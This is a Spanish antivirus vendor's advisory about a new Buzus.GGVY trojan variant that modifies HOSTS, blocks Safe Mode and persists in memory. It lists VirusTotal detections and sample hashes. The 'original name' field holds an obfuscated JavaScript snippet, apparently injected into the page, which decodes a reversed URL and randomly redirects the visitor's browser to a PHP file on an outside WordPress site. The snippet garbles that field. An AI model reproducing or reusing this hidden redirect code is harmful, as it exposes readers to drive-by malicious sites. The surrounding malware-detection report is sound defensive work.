Nueva variante de BUZUS GGYV que modifica el HOSTS, impide arrancar en MODO SEGURO y persiste en memoria regenerando el malware

Ya detectado por la heuristica del ELISTARA, lo pasamos a controlar especificamente a partir del ELISTARA 23.89 de hoy

El preanalisis del VirusTotal ofrece este informe:

File name: IGFXMVS64.EXE.Muestra EliStartPage v23.87
Submission date: 2011-09-15 14:43:18 (UTC)
Current status: finished
Result: 37 /44 (84.1%)
VT Community

malware
Safety score: 0.0%
Compact Print results Antivirus Version Last Update Result
AhnLab-V3 2011.09.15.00 2011.09.15 Trojan/Win32.Buzus
AntiVir 7.11.14.211 2011.09.15 TR/Buzus.ggvy
Antiy-AVL 2.0.3.7 2011.09.15 Trojan/Win32.Buzus.gen
Avast 4.8.1351.0 2011.09.15 Win32:Injector-XH [Trj]
Avast5 5.0.677.0 2011.09.15 Win32:Injector-XH [Trj]
AVG 10.0.0.1190 2011.09.15 Dropper.Small.HWV
BitDefender 7.2 2011.09.15 Trojan.Generic.KDV.75252
ByteHero 1.0.0.1 2011.09.13 –
CAT-QuickHeal 11.00 2011.09.15 Trojan.Buzus.ggvy
ClamAV 0.97.0.0 2011.09.15 –
Commtouch 5.3.2.6 2011.09.15 W32/MalwareF.SSRV
Comodo 10123 2011.09.15 TrojWare.Win32.Buzus.ggvy
DrWeb 5.0.2.03300 2011.09.15 Trojan.Packed.21219
Emsisoft 5.1.0.11 2011.09.15 Trojan.Win32.Buzus!IK
eSafe 7.0.17.0 2011.09.14 Win32.Injector.Dov
eTrust-Vet 36.1.8562 2011.09.15 –
F-Prot 4.6.2.117 2011.09.15 W32/MalwareF.SSRV
F-Secure 9.0.16440.0 2011.09.15 Trojan.Generic.KDV.75252
Fortinet 4.3.370.0 2011.09.15 W32/Buzus.GGVY!tr
GData 22 2011.09.15 Trojan.Generic.KDV.75252
Ikarus T3.1.1.107.0 2011.09.15 Trojan.Win32.Buzus
Jiangmin 13.0.900 2011.09.14 Trojan/Buzus.sxp
K7AntiVirus 9.113.5133 2011.09.14 Riskware
Kaspersky 9.0.0.837 2011.09.15 Trojan.Win32.Buzus.ggvy
McAfee 5.400.0.1158 2011.09.15 Artemis!08C8E2673433
McAfee-GW-Edition 2010.1D 2011.09.15 Artemis!08C8E2673433
Microsoft 1.7604 2011.09.15 Worm:Win32/Slenfbot
NOD32 6465 2011.09.15 probably a variant of Win32/Injector.FQT
Norman 6.07.11 2011.09.15 W32/Suspicious_Gen2.GTQCT
nProtect 2011-09-15.01 2011.09.15 Trojan/W32.Buzus.274432.W
Panda 10.0.3.5 2011.09.14 Generic Trojan
PCTools 8.0.0.5 2011.09.15 Trojan.Gen
Prevx 3.0 2011.09.15 –
Rising 23.74.03.03 2011.09.09 –
Sophos 4.69.0 2011.09.15 Mal/Agent-NI
SUPERAntiSpyware 4.40.0.1006 2011.09.15 –
Symantec 20111.2.0.82 2011.09.15 Trojan.Gen
TheHacker 6.7.0.1.297 2011.09.15 Trojan/Buzus.ggvy
TrendMicro 9.500.0.1008 2011.09.15 TROJ_VBINJECT.SM
TrendMicro-HouseCall 9.500.0.1008 2011.09.15 TROJ_VBINJECT.SM
VBA32 3.12.16.4 2011.09.14 Trojan.Buzus.ggvy
VIPRE 10482 2011.09.15 Trojan.Win32.Buzus.gdlv (v)
ViRobot 2011.9.15.4670 2011.09.15 –
VirusBuster 14.0.214.0 2011.09.15 Trojan.Buzus!y0Ligw+a6FQ
Additional informationShow all
MD5   : 08c8e26734332bdd9b8a4e7b8a976ad5
SHA1  : 8dadd9cad0491be77e18ca3ccbf95fc4e50d6b92
File size : 274432 bytes
publisher….: GFTffff gTD
copyright….: n/a
product……: FTDSISjs
description..: n/a
original name: $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to:__@_sdfttsfS”>__@_sdfttsfS
file version.: 2.11.0017

Dicha version del ELISTARA 23.89 que lo detecta y elimina, estará disponible en nuestra web a partir de las 15 h CEST de hoy

saludos

ms, 16-9-2011